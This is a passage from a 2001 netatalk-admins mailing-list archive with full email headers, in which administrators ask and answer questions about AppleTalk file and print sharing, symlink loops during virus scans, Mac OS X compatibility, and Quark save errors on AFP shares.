          2001 01:16:18 -0700 
Sender: yawny@zhone.com
Message-ID: <3B32F0E9.F2916EB1@zhone.com>
Date: Fri, 22 Jun 2001 00:16:57 -0700
From: John Berliner <jberliner@zhone.com>
Organization: Zhone Technologies
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2-2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: subscribe
Content-Type: multipart/alternative;
 boundary="------------30A47593A34796E5E2F107E8"


--------------30A47593A34796E5E2F107E8
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

SUBSCRIBE ME

--

John Berliner
Zhone ClearQuest Administrator



--------------30A47593A34796E5E2F107E8
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
SUBSCRIBE ME
<pre>--&nbsp;

John Berliner
Zhone ClearQuest Administrator</pre>
&nbsp;</html>

--------------30A47593A34796E5E2F107E8--


From netatalk.administrators-errors@umich.edu  Fri Jun 22 04:17:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA26699
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 22 Jun 2001 04:17:05 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA12795
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 22 Jun 2001 04:16:54 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA12770
	for netatalk.administrators-members@umich.edu; Fri, 22 Jun 2001 04:16:54 -0400 (EDT)
Received: from pittyvaich.dcs.st-and.ac.uk (pittyvaich.dcs.st-and.ac.uk [138.251.206.55])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA12708
	for <netatalk-admins@umich.edu>; Fri, 22 Jun 2001 04:16:52 -0400 (EDT)
Received: from [138.251.206.137] (pinwinnie [138.251.206.137])
	by pittyvaich.dcs.st-and.ac.uk (8.9.1b+Sun/8.9.1) with ESMTP id JAA11499
	for <netatalk-admins@umich.edu>; Fri, 22 Jun 2001 09:17:01 +0100 (BST)
X-Sender: norman@pop
Message-Id: <v04003a1fb758ae4d447d@[138.251.206.137]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 22 Jun 2001 09:17:01 +0100
To: netatalk-admins@umich.edu
From: Norman Paterson <norman@dcs.st-and.ac.uk>
Subject: Re: test (sort of)

>Is this reaching anyone?
>
> (To prevent a flood of replies, please toss a coin 5 times and only reply
> if you get all heads...hope this works...

Apparently so ... thanks for the replies.  A total of 7 which suggests a
world readership of 7x32 = 224.  Hmmm.

Anyway, now that I have your attention :-) can anyone comment on the real
question?

>My Linux filesystem has cycles created by symbolic links.  When I run Virex
>to scan the files, it gets stuck in a loop.
>
>Is there any easy way for me to detect these cycles before Virex does?  Or
>do I have to write a script myself?
>
>Using netatalk-1.4b2+asun2.1.3-7, Linux 2.2.14-5.0, Virex 5.9.1.

--
Norman Paterson, University of St Andrews
http://www.dcs.st-and.ac.uk/~norman/



From netatalk.administrators-errors@umich.edu  Fri Jun 22 23:45:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from changeofhabit.mr.itd.umich.edu (changeofhabit.mr.itd.umich.edu [141.211.144.17])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA22282
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 22 Jun 2001 23:45:08 -0400 (EDT)
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25] (may be forged))
	by changeofhabit.mr.itd.umich.edu (8.9.3/3.2r) with ESMTP id WAA19654
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 22 Jun 2001 22:50:43 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA12826
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 22 Jun 2001 22:50:42 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA12804
	for netatalk.administrators-members@umich.edu; Fri, 22 Jun 2001 22:50:42 -0400 (EDT)
Received: from tbsun.text-bild.de (text-bild.de [212.114.70.194])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA12620
	for <netatalk-admins@umich.edu>; Fri, 22 Jun 2001 22:50:37 -0400 (EDT)
Received: from text-bild.de ([192.168.100.253]) by tbsun.text-bild.de
          (Post.Office MTA v3.5.3 release 223 ID# 127-57510U100L2S100V35)
          with ESMTP id de; Sat, 23 Jun 2001 04:58:17 +0200
Message-ID: <3B3436CD.3030408@text-bild.de>
Date: Sat, 23 Jun 2001 08:27:25 +0200
From: anatol.ulrich@text-bild.de (Anatol Ulrich)
User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.18 i686; en-US; rv:0.9.1) Gecko/20010607
X-Accept-Language: en-us
MIME-Version: 1.0
To: Peter Risdon <peter@circlesquared.com>
CC: netatalk-admins@umich.edu
Subject: Re: Reverse papd'ing
References: <v04003a07b7560dcb1724@[138.251.206.137]> <3B32008F.24F18750@circlesquared.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi Peter,

>Specifically, I'd like to be able to pipe output from Ghostscript to something that achieved this. I could do this via an
>appropriate printcap entry if I knew how to write one. Or via some other process.
>
use the program "pap" supplied with the netatalk suite.

-anatol ulrich



From netatalk.administrators-errors@umich.edu  Sun Jun 24 05:15:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA09003
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 24 Jun 2001 05:15:37 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id FAA10173
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 24 Jun 2001 05:15:37 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA10143
	for netatalk.administrators-members@umich.edu; Sun, 24 Jun 2001 05:15:36 -0400 (EDT)
Received: from cascadia.drizzle.com (cascadia.drizzle.com [216.162.192.17])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA10094
	for <netatalk-admins@umich.edu>; Sun, 24 Jun 2001 05:15:35 -0400 (EDT)
Received: from john (drip51.drizzle.com [216.162.194.51])
	by cascadia.drizzle.com (8.11.4/8.11.4) with SMTP id f5O9FYZ12567
	for <netatalk-admins@umich.edu>; Sun, 24 Jun 2001 02:15:35 -0700
From: "John Healy" <jhealy@drizzle.com>
To: <netatalk-admins@umich.edu>
Subject: mac to deskjet 870cse without ghostscript?
Date: Sun, 24 Jun 2001 02:15:14 -0700
Message-ID: <FPEFIMBOBNEOMHKNDPGLIELHCAAA.jhealy@drizzle.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

Hi,
I have an HP DeskJet 870Cse hooked up to my linux box, and want to use
netatalk to print to it from a mac WITHOUT using ghostscript. Is this
possible?

The 870Cse has a Mac AppleTalk driver, so it seems that this shouldn't be a
problem, but everywhere I've looked, I've only found people asking the same
question, and no one seems to have gotten an answer.

Anyone been able to do this one?

Thanks,
John


From netatalk.administrators-errors@umich.edu  Sun Jun 24 09:52:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA14981
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 24 Jun 2001 09:52:07 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA21316
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 24 Jun 2001 09:52:07 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA21301
	for netatalk.administrators-members@umich.edu; Sun, 24 Jun 2001 09:52:06 -0400 (EDT)
Received: from nernst.chem.gla.ac.uk (nernst.chem.gla.ac.uk [130.209.221.174])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA21237
	for <netatalk-admins@umich.edu>; Sun, 24 Jun 2001 09:52:05 -0400 (EDT)
Received: from london.chem.gla.ac.uk ([130.209.221.166] ident=jonp)
	by nernst.chem.gla.ac.uk with esmtp (Exim 2.02 #2)
	id 15EAJ1-0002b6-00; Sun, 24 Jun 2001 14:52:03 +0100
Received: from localhost (jonp@localhost)
	by london.chem.gla.ac.uk (8.9.1b+Sun/8.9.1) with ESMTP id OAA12872;
	Sun, 24 Jun 2001 14:51:36 +0100 (BST)
X-Authentication-Warning: london.chem.gla.ac.uk: jonp owned process doing -bs
Date: Sun, 24 Jun 2001 14:51:36 +0100 (BST)
From: Jonathan Paisley <jonp@chem.gla.ac.uk>
To: Norman Paterson <norman@dcs.st-and.ac.uk>
cc: <netatalk-admins@umich.edu>
Subject: Re: test (sort of)
In-Reply-To: <v04003a1fb758ae4d447d@[138.251.206.137]>
Message-ID: <Pine.SOL.4.33.0106241446260.12869-100000@london.chem.gla.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Fri, 22 Jun 2001, Norman Paterson wrote:

> Anyway, now that I have your attention :-) can anyone comment on the real
> question?
>
> >My Linux filesystem has cycles created by symbolic links.  When I run Virex
> >to scan the files, it gets stuck in a loop.
> >
> >Is there any easy way for me to detect these cycles before Virex does?  Or
> >do I have to write a script myself?
> >
> >Using netatalk-1.4b2+asun2.1.3-7, Linux 2.2.14-5.0, Virex 5.9.1.

You could probably patch the afpd source to prevent directory listings
enumerating symlinks whose realpath is a prefix of the path to the link.

Alternatively, just disable listing of symlinks altogether (since it gets
mightily confusing sometimes!). While useful in a unix environment where
you can tell what they are, it's confusing to the mac...

Better still--break the cycle. Perhaps you can re-organise the source
directory structure to resolve the problem?

:)

-- 
Jonathan Paisley
jonp@chem.gla.ac.uk


From netatalk.administrators-errors@umich.edu  Sun Jun 24 14:30:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA21159
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 24 Jun 2001 14:30:28 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id OAA14178
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 24 Jun 2001 14:30:16 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA14159
	for netatalk.administrators-members@umich.edu; Sun, 24 Jun 2001 14:30:15 -0400 (EDT)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA14100
	for <netatalk-admins@umich.edu>; Sun, 24 Jun 2001 14:30:13 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000085356 for <netatalk-admins@umich.edu>; Sun, 24 Jun 2001 20:27:08 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a05101000b75bd5cea8ac@[192.168.1.201]>
Date: Sun, 24 Jun 2001 20:30:19 +0200
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: OSX and pre37: no panic anymore...
Content-Type: text/plain; charset="us-ascii"

Hi all,

FYI: 

I am not experiencing any more panics since OSX 10.0.4 
when accessing shares served by netatalk1.4b2asun2.1.4pre37_test.
(up to now, the only version working with X) 

I'm still hoping for a osx-compatible sourceforge-tree-version, 
but it's a lot easier to wait when you have one working version...


:-)


Lorenzo


From netatalk.administrators-errors@umich.edu  Sun Jun 24 15:27:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA22371
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 24 Jun 2001 15:27:17 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id PAA15834
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 24 Jun 2001 15:27:05 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA15818
	for netatalk.administrators-members@umich.edu; Sun, 24 Jun 2001 15:27:04 -0400 (EDT)
Received: from cerberus.yeehaw.net (dsl217.bldr.co.csd.net [205.240.12.217])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA15788
	for <netatalk-admins@umich.edu>; Sun, 24 Jun 2001 15:27:03 -0400 (EDT)
Received: from pcraft.com (winash.yeehaw.net [192.168.1.6])
	by cerberus.yeehaw.net (8.9.3/8.9.3) with ESMTP id NAA16814
	for <netatalk-admins@umich.edu>; Sun, 24 Jun 2001 13:58:30 -0600
Message-ID: <3B363F09.D331CF6E@pcraft.com>
Date: Sun, 24 Jun 2001 13:27:05 -0600
From: "Ashley M. Kirchner" <ashley@pcraft.com>
Organization: Photo Craft Laboratories, Inc.
X-Mailer: Mozilla 4.77 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Server Setup
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


    I'm trying to install netatalk on my Linux server and I'm a bit lost
when it comes to properly configuring it.  I have a locally mounted
drive (as /srv4 ) that I would like to become publicly available on the
entire Appletalk Zone.  All clients connect as guests, and everyone must
have read/write access to that directory - and *only* that directory.
They should not be able to see anything else on the Linux server.

--
H | Hi, I'm currently out of my mind.  Please leave a message.  BEEEEP!
  +--------------------------------------------------------------------
  Ashley M. Kirchner <mailto:ashley@pcraft.com>   .   303.442.6410 x130
  Director of Internet Operations / SysAdmin    .     800.441.3873 x130
  Photo Craft Laboratories, Inc.            .     3550 Arapahoe Ave, #6
  http://www.pcraft.com ..... .  .    .       Boulder, CO 80303, U.S.A.



From netatalk.administrators-errors@umich.edu  Sun Jun 24 15:49:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA22877
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 24 Jun 2001 15:49:17 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id PAA20165
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 24 Jun 2001 15:49:07 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA20148
	for netatalk.administrators-members@umich.edu; Sun, 24 Jun 2001 15:49:06 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA20108
	for <netatalk-admins@umich.edu>; Sun, 24 Jun 2001 15:49:05 -0400 (EDT)
Received: from euc.de (ppp-1-7.euc.de [195.63.193.40])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id VAA22493;
	Sun, 24 Jun 2001 21:48:29 +0200
Message-ID: <3B37953D.26C79C6@euc.de>
Date: Mon, 25 Jun 2001 21:47:09 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.51 (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "Ashley M. Kirchner" <ashley@pcraft.com>
CC: netatalk-admins@umich.edu
Subject: Re: Server Setup
References: <3B363F09.D331CF6E@pcraft.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

what version ?

"Ashley M. Kirchner" wrote:
> 
>     I'm trying to install netatalk on my Linux server and I'm a bit lost
> when it comes to properly configuring it.  I have a locally mounted
> drive (as /srv4 ) that I would like to become publicly available on the
> entire Appletalk Zone.  All clients connect as guests, and everyone must
> have read/write access to that directory - and *only* that directory.
> They should not be able to see anything else on the Linux server.
> 
> --
> H | Hi, I'm currently out of my mind.  Please leave a message.  BEEEEP!
>   +--------------------------------------------------------------------
>   Ashley M. Kirchner <mailto:ashley@pcraft.com>   .   303.442.6410 x130
>   Director of Internet Operations / SysAdmin    .     800.441.3873 x130
>   Photo Craft Laboratories, Inc.            .     3550 Arapahoe Ave, #6
>   http://www.pcraft.com ..... .  .    .       Boulder, CO 80303, U.S.A.

-- 
Mac Conin                    EUC Online GmbH
Geschäftsführer          Taubengasse 9

From netatalk.administrators-errors@umich.edu  Sun Jun 24 15:57:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA22968
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 24 Jun 2001 15:57:07 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id PAA02578
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 24 Jun 2001 15:56:57 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA02567
	for netatalk.administrators-members@umich.edu; Sun, 24 Jun 2001 15:56:57 -0400 (EDT)
Received: from cerberus.yeehaw.net (dsl217.bldr.co.csd.net [205.240.12.217])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA02535
	for <netatalk-admins@umich.edu>; Sun, 24 Jun 2001 15:56:56 -0400 (EDT)
Received: from pcraft.com (winash.yeehaw.net [192.168.1.6])
	by cerberus.yeehaw.net (8.9.3/8.9.3) with ESMTP id OAA16826;
	Sun, 24 Jun 2001 14:27:53 -0600
Message-ID: <3B3645EE.69531A8B@pcraft.com>
Date: Sun, 24 Jun 2001 13:56:30 -0600
From: "Ashley M. Kirchner" <ashley@pcraft.com>
Organization: Photo Craft Laboratories, Inc.
X-Mailer: Mozilla 4.77 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Mac Conin <mconin@euc.de>
CC: netatalk-admins@umich.edu
Subject: Re: Server Setup
References: <3B363F09.D331CF6E@pcraft.com> <3B37953D.26C79C6@euc.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Mac Conin wrote:

> what version ?

    Ah, sorry.  I installed netatalk from RedHat's powertools CD:

      RedHat: 7.1
    Netatalk: 1.5pre2-6

    Thank you.

--
H | Hi, I'm currently out of my mind.  Please leave a message.  BEEEEP!
  +--------------------------------------------------------------------
  Ashley M. Kirchner <mailto:ashley@pcraft.com>   .   303.442.6410 x130
  Director of Internet Operations / SysAdmin    .     800.441.3873 x130
  Photo Craft Laboratories, Inc.            .     3550 Arapahoe Ave, #6
  http://www.pcraft.com ..... .  .    .       Boulder, CO 80303, U.S.A.



From netatalk.administrators-errors@umich.edu  Mon Jun 25 17:53:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA06782
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 25 Jun 2001 17:53:48 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id RAA14297
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 25 Jun 2001 17:53:36 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA14275
	for netatalk.administrators-members@umich.edu; Mon, 25 Jun 2001 17:53:36 -0400 (EDT)
Received: from web12801.mail.yahoo.com (web12801.mail.yahoo.com [216.136.174.36])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id RAA14219
	for <netatalk-admins@umich.edu>; Mon, 25 Jun 2001 17:53:35 -0400 (EDT)
Message-ID: <20010625215345.9626.qmail@web12801.mail.yahoo.com>
Received: from [63.120.10.226] by web12801.mail.yahoo.com; Mon, 25 Jun 2001 14:53:45 PDT
Date: Mon, 25 Jun 2001 14:53:45 -0700 (PDT)
From: Isaac C <iclnx@yahoo.com>
Subject: saving across network with Quark problem
To: netatalk-admins@umich.edu
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

Hi,

Users on a netatalk server I'm running are having
problems when saving to the shared drive with Quark.
The mac pops up all these "Unknown error -199" and
other numbers that don't explain anything. Their files
get corrupted or lost. Often the only way out is to
copy and paste the whole document into a new empty
document, because Quark refuses to save to the
networked drive. This also happens during "Collect for
Output".

There don't seem to be any other problems. File
copying with the Finder works fine (and is nice &
fast).

These are macs running mac os 9.1 and quark 4.1,
connected to the netatalk server over tcp/ip.

I recommended for now to copy the file to their local
drives, work on them, then copy back to the server.
But this is considered a huge hassle (I agree). They
should be able to work over the network.

Thanks for any help you can offer.

--Isaac

__________________________________________________
Do You Yahoo!?
Get personalized email addresses from Yahoo! Mail
http://personal.mail.yahoo.com/

From netatalk.administrators-errors@umich.edu  Mon Jun 25 18:29:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA07903
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 25 Jun 2001 18:29:02 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id SAA17120
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 25 Jun 2001 18:28:50 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA17100
	for netatalk.administrators-members@umich.edu; Mon, 25 Jun 2001 18:28:50 -0400 (EDT)
Received: from sjc3-1.relay.mail.uu.net (sjc3-1.relay.mail.uu.net [199.171.54.122])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA17061
	for <netatalk-admins@umich.edu>; Mon, 25 Jun 2001 18:28:48 -0400 (EDT)
Received: from [192.168.12.125] by sjc3sosrv11.alter.net with ESMTP 
	(peer crosschecked as: fire-out.newtimes.com [206.138.77.3])
	id QQkuzp01317;
	Mon, 25 Jun 2001 22:28:58 GMT
Date: Mon, 25 Jun 2001 15:28:56 -0700
Subject: Re: saving across network with Quark problem
From: Dave Ritter <dave.ritter@newtimes.com>
To: Isaac C <iclnx@yahoo.com>, <netatalk-admins@umich.edu>
Message-ID: <B75D0937.14553%dave.ritter@newtimes.com>
In-Reply-To: <61644@newtimes.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

here is some info on the "Quark" problem

http://www.macwindows.com/quark.html

this is an excerpt...

---
We have seen this problem in the past and have worked with Quark to come up
with a work around. Below is a paragraph copied directly out of my personal
notes. 

4-25-00. Spoke to Scott Henry at Quark. He is a QA engineer who deals mostly
with the PC side but works with the Mac stuff as well. He says they saw this
problem in the past on Novel AFP servers where the rights of the folder were
read/write/modify but not create. If the user double clicks on the Quark
file on the server the temp files have to be created on the server at the
location of the Quark file being opened. If they cannot be created then
there are problems.

If quark is opened and File Open is used, the temp files are then created at
the location the OS stipulates. This prevents the Quark temp files from
being written across the network to the AFP volume and should help the
situation.

Quark recommends 8.3 naming convention and simple server and path names when
using quark files cross platform because theymaintain a usage profile in the
quark file that is supposed to keep track of all graphics and external
files. This can get screwed up pretty easy by the cross-platform UNC and
file naming differences of PC's and Mac's.

Because of the way Quark handles its temp files, it is a bad idea to open a
Quark file from any AFP Server. The best thing to do is to copy the Quark
file to the local machine, open it, edit it, and close it; then copy it back
to the AFP Server.

---

> Subject: saving across network with Quark problem
> 
> Hi,
> 
> Users on a netatalk server I'm running are having
> problems when saving to the shared drive with Quark.
> The mac pops up all these "Unknown error -199" and
> other numbers that don't explain anything. Their files
> get corrupted or lost. Often the only way out is to
> copy and paste the whole document into a new empty
> document, because Quark refuses to save to the
> networked drive. This also happens during "Collect for
> Output".
> 
> There don't seem to be any other problems. File
> copying with the Finder works fine (and is nice &
> fast).
> 
> These are macs running mac os 9.1 and quark 4.1,
> connected to the netatalk server over tcp/ip.
> 
> I recommended for now to copy the file to their local
> drives, work on them, then copy back to the server.
> But this is considered a huge hassle (I agree). They
> should be able to work over the network.
> 
> Thanks for any help you can offer.
> 
> --Isaac


From netatalk.administrators-errors@umich.edu  Mon Jun 25 18:55:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA09035
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 25 Jun 2001 18:55:40 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id SAA28229
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 25 Jun 2001 18:55:40 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA28211
	for netatalk.administrators-members@umich.edu; Mon, 25 Jun 2001 18:55:40 -0400 (EDT)
Received: from lavender.ad ([203.111.74.199])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA28049
	for <netatalk-admins@umich.edu>; Mon, 25 Jun 2001 18:55:36 -0400 (EDT)
Received: from [203.111.74.241] (203.111.74.241) by lavender.ad with ESMTP
 (Eudora Internet Mail Server 3.0); Tue, 26 Jun 2001 08:55:33 +1000
User-Agent: Microsoft-Entourage/9.0.2509
Date: Tue, 26 Jun 2001 08:55:31 +1000
Subject: Re: saving across network with Quark problem
From: Claire van Heyningen <claire@lavender.ad>
To: Isaac C <iclnx@yahoo.com>, <netatalk-admins@umich.edu>
Message-ID: <B75DFE82.103%claire@lavender.ad>
In-Reply-To: <20010625215345.9626.qmail@web12801.mail.yahoo.com>
Mime-version: 1.0
Content-type: multipart/alternative; boundary="B_3076390531_55512"

> This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

--B_3076390531_55512
Content-type: text/plain; charset="ISO-8859-1"
Content-transfer-encoding: quoted-printable


we used to experience the EXACT same problem here =AD frustrating as all hell
- what version of Netatalk are you running?  we found that upgrading our
netatalk fixed the problem completely.

--=20

Claire van Heyningen
Network Services  =20
Lavender*

http://www.lavender.ad/

Ph:  (02) 8224 3135
Fax:  (02) 9232 4911


> From: Isaac C <iclnx@yahoo.com>
> Date: Mon, 25 Jun 2001 14:53:45 -0700 (PDT)
> To: netatalk-admins@umich.edu
> Subject: saving across network with Quark problem
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Mon, 25 Jun 2001 17:53:48 -0400 (EDT)
>=20
>=20
> Hi,
>=20
> Users on a netatalk server I'm running are having
> problems when saving to the shared drive with Quark.
> The mac pops up all these "Unknown error -199" and
> other numbers that don't explain anything. Their files
> get corrupted or lost. Often the only way out is to
> copy and paste the whole document into a new empty
> document, because Quark refuses to save to the
> networked drive. This also happens during "Collect for
> Output".
>=20
> There don't seem to be any other problems. File
> copying with the Finder works fine (and is nice &
> fast).
>=20
> These are macs running mac os 9.1 and quark 4.1,
> connected to the netatalk server over tcp/ip.
>=20
> I recommended for now to copy the file to their local
> drives, work on them, then copy back to the server.
> But this is considered a huge hassle (I agree). They
> should be able to work over the network.
>=20
> Thanks for any help you can offer.
>=20
> --Isaac
>=20
> __________________________________________________
> Do You Yahoo!?
> Get personalized email addresses from Yahoo! Mail
> http://personal.mail.yahoo.com/
>=20
>=20


--B_3076390531_55512
Content-type: text/html; charset="ISO-8859-1"
Content-transfer-encoding: quoted-printable

<HTML>
<HEAD>
<TITLE>Re: saving across network with Quark problem</TITLE>
</HEAD>
<BODY>
<FONT FACE=3D"Verdana"><BR>
